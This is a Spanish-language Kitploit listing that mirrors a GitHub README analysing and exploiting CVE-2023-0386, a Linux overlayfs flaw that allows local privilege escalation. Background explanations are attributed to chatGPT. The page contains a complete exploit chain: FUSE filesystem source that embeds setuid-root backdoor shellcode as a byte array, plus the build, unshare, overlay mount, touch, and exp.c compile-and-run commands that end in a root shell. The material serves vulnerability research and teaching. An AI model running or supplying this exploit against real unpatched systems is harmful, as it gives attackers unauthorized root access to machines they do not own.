Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-0386 — Análisis y exploit de CVE-2023-0386 | Kitploit
Herramientas/GitHubGitHub/chenaotian/cve-2023-0386
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónFuzzingAprendizaje y EducaciónExplotación de Binarios
GitHubchenaotian/cve-2023-0386

CVE-2023-0386

Análisis y exploit de CVE-2023-0386

Ver Repositorio
12421hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

README

root@kitploit:~
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

image-20230421161145840

Análisis de la vulnerabilidad

El conocimiento teórico de este artículo (namespaces, sistema de archivos overlay, sistema de archivos fuse, etc.) proviene de chatGPT.

Resumen de la vulnerabilidad

ID de vulnerabilidad: CVE-2023-0386

Producto afectado: kernel de Linux - sistema de archivos overlay

Versiones afectadas: 5.11 ~ 5.19

Requisitos: poder ejecutar unshare o poder crear un sistema de archivos overlay

Impacto: escalada de privilegios local

Configuración del entorno

Compilar el kernel uno mismo:

Prepara el kernel dentro del rango de versiones vulnerables, excluyendo la 5.15 (la 5.15 parece tener problemas), y habilita los dos sistemas de archivos overlay y fuse:

root@kitploit:~
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS

Se ha probado que Ubuntu 21.10 con kernel 5.13.0-16-generic funciona:

image-20230421161145840

Principio de la vulnerabilidad

Antes del análisis de la vulnerabilidad, hagamos que chatGPT interprete a un experto en el kernel de Linux:

(Pregunta a chatGPT: a continuación, interpreta a un experto en el kernel de Linux y ayúdame a resolver algunas preguntas)

Análisis del parche

La información pública sobre la vulnerabilidad es escasa; lo más directo es la información del parche. El enlace al parche es el siguiente:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

image-20230503165509094

Se puede ver que se añadió una comprobación en la función ovl_copy_up_one. Primero preguntemos a chatGPT qué hace esta función:

image-20230503214724428

Esta función se ejecuta durante la acción de copiar un archivo de la capa inferior a la capa superior en el sistema de archivos overlay. A continuación, veamos la comprobación añadida por el parche en su contexto:

root@kitploit:~
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
			   int flags)
{
	int err;
	DEFINE_DELAYED_CALL(done);
	struct path parentpath;
	struct ovl_copy_up_ctx ctx = {
		.parent = parent,
		.dentry = dentry,
		.workdir = ovl_workdir(dentry),
	};

	if (WARN_ON(!ctx.workdir))
		return -EROFS;

	ovl_path_lower(dentry, &ctx.lowerpath);
	err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] 获取底层文件系统的stat
			  STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
	if (err)
		return err;
	//[2]补丁新加判断文件的stat属性中的用户id和用户组id是否在当前命名空间有映射
	if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
	    !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
		return -EOVERFLOW;

[1] Primero, se obtienen los atributos del archivo de destino en el sistema de archivos inferior mediante la función vfs_getattr. La función vfs_getattr recibe una estructura struct path de un archivo y devuelve la estructura struct stat correspondiente a ese archivo.

[1.1] ctx.lowerpath es la ruta de un archivo en el sistema de archivos inferior dentro del sistema de archivos overlay; el sistema de archivos overlay se presentará más adelante.

[1.2] La estructura struct stat almacena la información de metadatos del archivo, incluidos el propietario y el grupo. La información del propietario obtenida se evaluará en la comprobación que añade el parche.

[2] A continuación, se llama a la función kuid_has_mapping para evaluar la información de propietario y grupo del archivo recién obtenida, determinando si el propietario y el grupo del archivo de destino tienen un mapeo en el espacio de nombres de usuario actual.

[2.1] La función kuid_has_mapping recibe dos parámetros: una estructura struct user_namespace (espacio de nombres de usuario) y una estructura struct kuid (usuario del kernel). Esta función determina si la información de usuario dada tiene un mapeo en el espacio de nombres de usuario dado. El mapeo de usuarios en los espacios de nombres se explicará en detalle más adelante.

Por lo tanto, sabemos que al realizar la operación de esta función vulnerable (ovl_copy_up_one), si el usuario propietario o el grupo propietario del archivo de la capa inferior no tiene mapeo en el espacio de nombres actual, la operación falla.

El principio del parche queda claro, pero aun así necesitamos resolver las siguientes cuestiones para poder reproducir esta vulnerabilidad:

  1. ¿Cómo se activa la lógica donde se encuentra la función objetivo ovl_copy_up_one, es decir, la copia de un archivo de la capa inferior a la capa superior en el sistema de archivos overlay?
  2. ¿Qué papel juega exactamente el archivo lowerpath, cuyo propietario se comprueba si está mapeado, en la cadena lógica anterior?

Antes de resolver estas dos dudas, necesitamos aclarar algunos conceptos básicos:

Espacios de nombres

(Pregunta a chatGPT: por favor, presenta los espacios de nombres del kernel de Linux)

En Linux, los espacios de nombres (namespaces) son una característica del kernel que se utiliza para lograr el aislamiento de recursos. Mediante los espacios de nombres, un grupo de procesos puede parecer que se ejecuta en un entorno de sistema independiente, mejorando así la seguridad y la manejabilidad del sistema. Los espacios de nombres desempeñan un papel clave en tecnologías de contenedores (como Docker), ya que permiten que los contenedores se ejecuten en un entorno aislado sin afectar a otros contenedores ni al sistema principal.

El kernel de Linux admite 7 tipos de espacios de nombres (mount, pid, net, ipc, user, time, cgroup), y cada uno aísla una categoría específica de recursos del sistema. Los espacios de nombres se crean, modifican y gestionan mediante una serie de llamadas al sistema (como clone, unshare y setns). Los runtimes de contenedores (como Docker) y otras herramientas de virtualización utilizan estas características de los espacios de nombres para proporcionar a los contenedores un entorno de ejecución independiente y aislado.

Espacio de nombres de usuario

La función de comprobación kuid_has_mapping añadida por el parche de la vulnerabilidad está relacionada con el espacio de nombres de usuario (user namespace), uno de los 7 espacios de nombres mencionados.

(Pregunta a chatGPT: por favor, presenta el espacio de nombres de usuario entre estos)

El espacio de nombres de usuario (User Namespace) se utiliza para aislar los ID de usuario (UID) y los ID de grupo (GID). Gracias a él, se pueden usar conjuntos independientes de ID de usuario y grupo en diferentes espacios de nombres. Esto significa que los usuarios y grupos de un espacio de nombres pueden tener ID o permisos distintos en otro espacio de nombres. El espacio de nombres de usuario mejora la seguridad y la manejabilidad del sistema, especialmente en entornos de contenedores.

La característica clave del espacio de nombres de usuario es el mapeo de ID: permite mapear UID y GID de un espacio de nombres a UID y GID de otro. Esto significa que, en diferentes espacios de nombres de usuario, los mismos UID y GID pueden representar a usuarios y grupos distintos. Por ejemplo, el usuario root (UID 0) de un contenedor puede estar mapeado a un usuario no privilegiado en el sistema principal.

Solo necesitamos recordar los siguientes puntos:

  • El mismo usuario (grupo) tiene diferentes uid (gid) en diferentes espacios de nombres de usuario
  • El usuario que crea un nuevo espacio de nombres de usuario (es decir, quien realiza la creación) es root dentro del nuevo espacio de nombres de usuario
  • Los demás usuarios deben mapearse manualmente al nuevo espacio de nombres de usuario (modificando /proc/[pid]/uid_map y /proc/[pid]/gid_map); esta operación normalmente requiere privilegios de root en el espacio de nombres inicial
  • Los usuarios sin mapeo se identifican como nobody

Por ejemplo, si uso el usuario breeze para crear un nuevo espacio de nombres de usuario y luego, dentro de ese espacio de nombres, examino un archivo cuyo propietario es root, el grupo se muestra como nobody:

image-20230503205416800

Esto se debe a que, en el nuevo espacio de nombres, root es el usuario breeze que creó el espacio de nombres, mientras que el root del espacio de nombres inicial no fue mapeado manualmente por mí al nuevo espacio de nombres, por lo que se identifica como nobody en el nuevo espacio de nombres.

Por lo tanto, ya entendemos el propósito de este parche: para los archivos del sistema de archivos inferior de overlay que se van a copiar, es necesario que su usuario (grupo) propietario tenga un mapeo en el espacio de nombres actual para que continúe la copia; de lo contrario, se devuelve un error. Es decir, esta situación en la que se identifica como nobody provoca que la copia falle.

Sistema de archivos overlay

Principio

(Pregunta a chatGPT: por favor, presenta el sistema de archivos overlay en Linux)

El sistema de archivos Overlay (también conocido como OverlayFS) es un sistema de archivos virtual del kernel de Linux. Permite combinar dos o más jerarquías de directorios existentes (llamadas capas «lower» y «upper») en una vista unificada. El sistema de archivos Overlay es muy útil para habilitar operaciones de escritura sobre sistemas de archivos de solo lectura (como imágenes), porque redirige las escrituras a una capa superpuesta de escritura. Este método se usa ampliamente en tecnologías de contenedores (como Docker), ya que ofrece una solución ligera y de alto rendimiento para la virtualización de sistemas de archivos.

  1. Capa lower: es la capa base del sistema de archivos y normalmente es de solo lectura. Un sistema de archivos Overlay puede tener una o varias capas lower.
  2. Capa upper: es una capa del sistema de archivos escribible que almacena todos los cambios realizados sobre los archivos de la capa lower. Esto incluye modificaciones, creaciones y eliminaciones de archivos.
  3. Workdir: es un directorio escribible ubicado en el mismo sistema de archivos que la capa upper, utilizado para almacenar datos intermedios y metadatos que permiten el funcionamiento normal de OverlayFS.
  4. Capa merged: es una vista virtual y sintética que fusiona la capa lower y la capa upper. Cuando los usuarios acceden al sistema de archivos Overlay, ven esta capa merged. En esta capa, los cambios de la capa upper sobrescriben los archivos correspondientes de la capa lower. Para archivos con el mismo nombre, los de la capa upper tienen mayor prioridad. Para directorios con el mismo nombre, se fusionan y solo se evalúa si los archivos de los directorios tienen una relación de ocultación o sobrescritura entre las capas.

La siguiente imagen ayuda a entender cómo los archivos reales de las capas superior e inferior de un directorio del sistema de archivos overlay se corresponden con los archivos de la capa merge:

image-20230504100543888

Dado que el sistema de archivos superior es escribible, cuando el usuario modifica un archivo proveniente de la capa superior, lo modifica directamente. Pero si el usuario quiere modificar un archivo del sistema de archivos inferior, como file D en la imagen anterior, como el sistema de archivos inferior es de solo lectura, se copia (copy up) file D a la capa superior, convirtiéndose en file D‘, y luego se realiza la modificación. Lo que realmente se modifica es el file D’ copiado a la capa superior, mientras que el file D original del sistema de archivos inferior no cambia. Esto es el COW (copy on write) del sistema de archivos overlay:

image-20230504103155100

Crear un sistema de archivos overlay

(Pregunta a chatGPT: por favor, dame un ejemplo práctico de cómo crear un sistema de archivos overlay simple)

A continuación, demostramos brevemente cómo crear un sistema de archivos overlay:

Primero, necesitamos crear los directorios lower1, lower2, upper y work. Estos directorios se usarán para el sistema de archivos Overlay. También necesitamos crear un punto de montaje (por ejemplo, merged) para acceder a la vista fusionada. Añadimos algo de contenido a los directorios lower1 y lower2:

root@kitploit:~
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt

Usa el comando mount con la opción -t overlay para montar el sistema de archivos Overlay. Debes especificar los parámetros lowerdir, upperdir y workdir, como se muestra a continuación:

root@kitploit:~
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged

En el directorio merge se pueden ver los archivos provenientes de las capas superior e inferior:

image-20230503213819903

Tanto si creamos, eliminamos o modificamos archivos en este directorio, solo se cambiará el sistema de archivos superior; la capa inferior no se ve afectada. Por ejemplo, al crear un archivo nuevo (en realidad se crea en upper):

image-20230503214009386

Modificar un archivo existente (el archivo se copia desde lower1 a upper y luego se modifica):

image-20230503214138872

En resumen, la lógica relacionada con la vulnerabilidad es que, al modificar un archivo que proviene de la capa inferior en un sistema de archivos overlay, primero se copia ese archivo al sistema de archivos superior y luego se realiza la modificación.

Lógica de activación de la vulnerabilidad

Después del análisis anterior, básicamente podemos reconstruir el panorama completo de la vulnerabilidad. Cuando se produce una operación de copy up en un sistema de archivos overlay (al intentar modificar un archivo de la capa inferior, se activa la copia del archivo de la capa inferior a la superior):

  • Lógica del parche: no se pueden copiar archivos cuyo usuario (grupo) propietario aún no tenga mapeo en el espacio de nombres de usuario actual
  • Lógica de la vulnerabilidad: todos los archivos se pueden copiar con normalidad, incluidos aquellos cuyo usuario propietario no tiene mapeo en el espacio de nombres de usuario actual.

Entonces la pregunta es: ¿por qué copiar archivos cuyo propietario no tiene mapeo causa un problema?

Explotación de la vulnerabilidad

En realidad, la respuesta a la pregunta anterior es muy sencilla: copiar un archivo no solo copia su contenido, sino también sus metadatos, es decir, la información del propietario, las marcas de tiempo, los permisos y la información extendida como capabilities. El riesgo que esto genera es que si el sistema de archivos inferior es un sistema de archivos de usuario (como fuse), donde el usuario tiene un alto grado de control y puede definir cualquier archivo, pero ese sistema de archivos tiene restricciones (como nosuid), esta vulnerabilidad permite copiar un archivo suid definido por el usuario desde un sistema de archivos nosuid a un sistema de archivos normal, haciendo que el archivo suid ilegítimo obtenga privilegios suid. Esto conduce a una escalada de privilegios.

Sistema de archivos fuse

(Pregunta a chatGPT: por favor, presenta el sistema de archivos fuse)

FUSE (Filesystem in Userspace) es una interfaz de sistemas de archivos que permite a los usuarios implementar y ejecutar sistemas de archivos personalizados en el espacio de usuario (en lugar del espacio del kernel). FUSE está diseñado para simplificar el desarrollo y despliegue de sistemas de archivos, ofreciendo al mismo tiempo buen rendimiento y seguridad. FUSE se usa ampliamente en Linux y en otros sistemas tipo Unix (como macOS y FreeBSD).

En pocas palabras, el sistema de archivos fuse nos permite definir en el espacio de usuario algunas funciones de callback del sistema de archivos (como open, write, readdir e incluso getattr, que proporciona metadatos de archivos).

El siguiente código de un sistema de archivos fuse (by chatGPT) puede servir tanto como ejemplo de aprendizaje como para la explotación posterior de la vulnerabilidad:

(Pregunta a chatGPT: por favor, dame un ejemplo sencillo de código de un sistema de archivos fuse. En este sistema de archivos debe haber un archivo hello cuyo contenido sea la cadena "helloworld", y este archivo debe ser un archivo setuid propiedad de root)

Tras modificarlo ligeramente (se cambió el contenido del archivo por datos binarios de un backdoor, se ajustaron algunos permisos, el tamaño del archivo, etc.):

root@kitploit:~
#define FUSE_USE_VERSION 30

#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); //hello文件实际大小
    } else {
        res = -ENOENT;
    }

    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
        return -ENOENT;
    }

    filler(buf, ".", NULL, 0);//默认显示.和..
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件

    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
    if (strcmp(path, hello_path) != 0) {//只支持打开hello文件
        return -ENOENT;
    }

    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)//读文件的回调函数read
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {//只支持读hello文件
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
    } else {
        size = 0;
    }

    return size;
}

static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}

El código anterior crea un sistema de archivos fuse con un solo archivo llamado hello, cuyo contenido es un programa binario de backdoor y cuyos permisos corresponden a un archivo setuid propiedad de root. En total solo se implementan cuatro funciones de callback, suficientes únicamente para las operaciones básicas de listar, abrir y leer el archivo hello. Podemos compilar y montar el sistema de archivos fuse con los siguientes comandos:

root@kitploit:~
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs

Luego podemos ver en el directorio fusefs nuestro archivo hello, que es un archivo suid propiedad de root:

image-20230504144546539

Sin embargo, un usuario normal no puede montar un sistema de archivos fuse con la opción suid, es decir, los sistemas de archivos fuse montados por un usuario normal son nosuid. Por lo tanto, aunque ejecutemos este archivo de backdoor suid, no podemos obtener privilegios de root:

image-20230504144846572

Explotación de la vulnerabilidad

A continuación, usaremos la vulnerabilidad CVE-2023-0386 y el sistema de archivos fuse anterior para llevar a cabo la escalada de privilegios.

  1. Primero, debemos construir un sistema de archivos overlay acorde al escenario de la vulnerabilidad, usando el sistema de archivos fuse como sistema de archivos inferior y un directorio sobre el que tengamos permiso de escritura como sistema de archivos superior. Primero creamos los directorios relacionados con overlay, como workdir, y montamos el sistema de archivos fuse

    root@kitploit:~
    mkdir hello_mount_point  overlay_mount_point  upperdir  workdir #创建相关目录
    ./hellofs hello_mount_point                                     #挂载fuse文件系统
    

    image-20230504153904268

  2. Luego, creamos un nuevo espacio de nombres de usuario, un espacio de nombres mount y un espacio de nombres pid, porque a continuación necesitamos crear el sistema de archivos overlay. De forma predeterminada no tenemos permisos de montaje, por lo que necesitamos obtener el permiso de montaje en el nuevo espacio de nombres.

    root@kitploit:~
    unshare -Urm
    

    image-20230504153934490

  3. Creamos el sistema de archivos overlay, usando el sistema de archivos fuse anterior, que contiene el archivo de backdoor suid hello, como capa inferior; la capa superior es nuestro directorio upper, sobre el que tenemos permisos de escritura:

    root@kitploit:~
    mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point
    

    image-20230504154022811

    El efecto actual del overlay se muestra en la siguiente imagen:

    image-20230504114747720

Ahora nuestro objetivo es usar la vulnerabilidad para copiar el archivo de backdoor suid desde el sistema de archivos fuse montado con nosuid al sistema de archivos upper. El sistema de archivos upper es el sistema de archivos predeterminado del sistema operativo y admite suid; esta operación copiará el archivo de backdoor junto con su atributo suid. Por lo tanto, necesitamos activar la operación de copy up del sistema de archivos overlay, que normalmente se desencadena al intentar modificar un archivo de la capa inferior. Esta es también la razón por la que establecimos el permiso del archivo hello en 777 en el sistema de archivos fuse.

Dato curioso sobre el comando touch

En realidad, modificar un archivo no se refiere únicamente a cambiar su contenido; la modificación de otros atributos del archivo, como las marcas de tiempo, también activa la operación de copy up. Cuando el comando touch intenta crear un archivo que ya existe, no sobrescribe el archivo existente, sino que solo actualiza las marcas de tiempo de acceso y modificación. La información de las marcas de tiempo también forma parte de los atributos extendidos del archivo, y su modificación también activa la copia hacia la capa superior en el sistema de archivos overlay.

La pila de llamadas es la siguiente. Debido a la modificación de las marcas de tiempo de acceso y modificación del archivo, se activa el copy up en ovl_setattr:

image-20230428112854184

  1. Volviendo a los pasos anteriores, solo necesitamos entrar en el directorio merge del sistema de archivos overlay y usar touch para modificar la marca de tiempo del archivo de backdoor hello:

    root@kitploit:~
    touch overlay_mount_point/hello
    

image-20230504154116918

En este punto, ya se ha activado el copy up:

image-20230504115008645

Veamos el directorio superior, es decir, el directorio upper:

root@kitploit:~
ls -al upperdir

image-20230504154216784

Luego, salimos del espacio de nombres y ejecutamos upperdir/hello para obtener una shell de root:

image-20230504154316023

exp

Ver exp.c

Compilación y ejecución:

root@kitploit:~
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

Resumen

Por lo tanto, el propósito de este parche es el siguiente: si se intenta escalar privilegios como hemos hecho, el usuario root del espacio de nombres inicial no tendrá un mapeo en el nuevo espacio de nombres de usuario (y tampoco podríamos mapearlo, porque se requieren privilegios), por lo que la operación fallará. En cambio, si ese usuario ya está mapeado en el nuevo espacio de nombres de usuario, se considera un escenario legítimo.

Referencias

chatGPT

Descargar herramienta